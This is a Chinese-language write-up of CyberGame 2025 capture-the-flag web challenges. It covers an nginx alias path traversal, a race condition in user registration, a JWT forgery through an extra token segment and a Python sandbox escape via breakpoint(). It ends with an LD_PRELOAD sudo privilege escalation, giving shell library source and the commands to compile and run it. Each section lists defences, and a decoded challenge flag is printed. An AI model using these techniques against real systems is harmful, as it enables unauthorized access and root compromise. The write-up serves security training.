CyberGame 2025 Web Writeup
字数 1663 2025-09-01 11:26:17

Nginx 不安全配置与 Web 安全漏洞利用教学文档

目录

  1. Nginx 不安全配置导致的目录遍历漏洞
  2. 条件竞争漏洞利用
  3. JWT 安全与特权提升
  4. Python 沙箱逃逸
  5. Linux 提权技术

Nginx 不安全配置导致的目录遍历漏洞

漏洞原理

当 Nginx 配置中使用别名(alias)而非根目录(root)时,如果路径末尾没有添加斜杠(/),可能导致目录遍历漏洞。

错误配置示例:

location /images {
    alias /app/src/images/;  # 正确应该在路径末尾加斜杠
}

利用方法

通过访问 http://example.com/images../,实际会解析为 /app/src/images/../,即 /app/src/ 目录。

实际案例

在题目中,通过访问 http://exp.cybergame.sk:7000/images../ 可以读取到 index.js 文件,其中包含 base64 编码的凭据:

cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9

解码后获得登录凭证:

pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}

防御措施

  1. 始终在别名路径末尾添加斜杠
  2. 使用 root 而非 alias 当可能时
  3. 限制访问敏感目录

条件竞争漏洞利用

漏洞场景

在用户注册流程中,存在时间窗口期:

  1. 用户注册后数据首先存入数据库(此时 verified 为 true)
  2. 随后调用 sendEmailToAdministratorverified 设为 false

利用方法

  1. 快速注册用户
  2. verified 被设为 false 前立即登录

技术细节

  • 注册后立即发送登录请求
  • 可能需要自动化脚本实现快速操作
  • 成功登录后可访问受限资源

防御措施

  1. 使用事务确保数据一致性
  2. 在单个原子操作中设置所有属性
  3. 避免依赖客户端操作顺序

JWT 安全与特权提升

JWT 结构

标准 JWT 格式:header.payload.signature

漏洞利用

题目中的 verifyToken 函数存在逻辑缺陷:

function verifyToken(token) {
    const parts = token.split('.');
    // 错误:只验证最后两部分,忽略中间部分
    const payload = parts[1];  // 实际使用的payload
    const verifyPayload = parts[parts.length-2];  // 用于验证的payload
    // ...验证逻辑...
    return JSON.parse(base64decode(payload));
}

攻击步骤

  1. 获取合法 token:header.payload.signature
  2. 构造恶意 token:header.evilPayload.payload.signature
    • evilPayload 包含特权字段:is_d4rk_pr1nc3ss: true
  3. 服务器会使用 payload 验证签名,但返回 evilPayload

防御措施

  1. 严格验证 JWT 结构应为三部分
  2. 使用标准库处理 JWT
  3. 定期轮换签名密钥

Python 沙箱逃逸

漏洞场景

计算器程序存在以下问题:

  1. 使用 eval() 或类似危险函数
  2. 过滤不充分

利用方法

  1. 发现 breakpoint() 未被过滤
  2. 通过 breakpoint 启动交互式 shell
    • breakpoint() 会调用 pdb.set_trace()
    • 在 pdb 中可执行任意 Python 代码

防御措施

  1. 避免使用 eval()/exec()
  2. 使用 AST 解析器限制可用语法
  3. 在容器中运行不受信任代码

Linux 提权技术

漏洞原理

通过 LD_PRELOAD 环境变量注入恶意共享库到 SUID 程序中。

利用条件

  1. 有权限设置 LD_PRELOAD
  2. 目标程序是动态链接的
  3. 目标程序具有更高权限

攻击步骤

  1. 检查可用程序:sudo -l
  2. 确认程序是否动态链接:file /bin/netstat
  3. 创建恶意共享库:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    system("/bin/sh -i");
}
  1. 编译:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
  2. 执行:sudo LD_PRELOAD=./shell.so netstat

防御措施

  1. 避免不必要的 SUID 程序
  2. 使用 capabilities 替代 SUID
  3. 定期审计系统权限配置

总结

这些漏洞展示了 Web 应用和系统安全中的常见问题:

  1. 配置错误导致的未授权访问
  2. 竞态条件引发的逻辑漏洞
  3. 认证机制实现缺陷
  4. 不安全的代码执行
  5. 权限提升漏洞

防御关键在于:

  • 最小权限原则
  • 输入验证和输出编码
  • 安全配置检查
  • 使用经过验证的安全机制
Nginx 不安全配置与 Web 安全漏洞利用教学文档 目录 Nginx 不安全配置导致的目录遍历漏洞 条件竞争漏洞利用 JWT 安全与特权提升 Python 沙箱逃逸 Linux 提权技术 Nginx 不安全配置导致的目录遍历漏洞 漏洞原理 当 Nginx 配置中使用别名(alias)而非根目录(root)时,如果路径末尾没有添加斜杠(/),可能导致目录遍历漏洞。 错误配置示例 : 利用方法 通过访问 http://example.com/images../ ,实际会解析为 /app/src/images/../ ,即 /app/src/ 目录。 实际案例 在题目中,通过访问 http://exp.cybergame.sk:7000/images../ 可以读取到 index.js 文件,其中包含 base64 编码的凭据: 解码后获得登录凭证: 防御措施 始终在别名路径末尾添加斜杠 使用 root 而非 alias 当可能时 限制访问敏感目录 条件竞争漏洞利用 漏洞场景 在用户注册流程中,存在时间窗口期: 用户注册后数据首先存入数据库(此时 verified 为 true) 随后调用 sendEmailToAdministrator 将 verified 设为 false 利用方法 快速注册用户 在 verified 被设为 false 前立即登录 技术细节 注册后立即发送登录请求 可能需要自动化脚本实现快速操作 成功登录后可访问受限资源 防御措施 使用事务确保数据一致性 在单个原子操作中设置所有属性 避免依赖客户端操作顺序 JWT 安全与特权提升 JWT 结构 标准 JWT 格式: header.payload.signature 漏洞利用 题目中的 verifyToken 函数存在逻辑缺陷: 攻击步骤 获取合法 token: header.payload.signature 构造恶意 token: header.evilPayload.payload.signature evilPayload 包含特权字段: is_d4rk_pr1nc3ss: true 服务器会使用 payload 验证签名,但返回 evilPayload 防御措施 严格验证 JWT 结构应为三部分 使用标准库处理 JWT 定期轮换签名密钥 Python 沙箱逃逸 漏洞场景 计算器程序存在以下问题: 使用 eval() 或类似危险函数 过滤不充分 利用方法 发现 breakpoint() 未被过滤 通过 breakpoint 启动交互式 shell breakpoint() 会调用 pdb.set_trace() 在 pdb 中可执行任意 Python 代码 防御措施 避免使用 eval() / exec() 使用 AST 解析器限制可用语法 在容器中运行不受信任代码 Linux 提权技术 漏洞原理 通过 LD_PRELOAD 环境变量注入恶意共享库到 SUID 程序中。 利用条件 有权限设置 LD_PRELOAD 目标程序是动态链接的 目标程序具有更高权限 攻击步骤 检查可用程序: sudo -l 确认程序是否动态链接: file /bin/netstat 创建恶意共享库: 编译: gcc -fPIC -shared -o shell.so shell.c -nostartfiles 执行: sudo LD_PRELOAD=./shell.so netstat 防御措施 避免不必要的 SUID 程序 使用 capabilities 替代 SUID 定期审计系统权限配置 总结 这些漏洞展示了 Web 应用和系统安全中的常见问题: 配置错误导致的未授权访问 竞态条件引发的逻辑漏洞 认证机制实现缺陷 不安全的代码执行 权限提升漏洞 防御关键在于: 最小权限原则 输入验证和输出编码 安全配置检查 使用经过验证的安全机制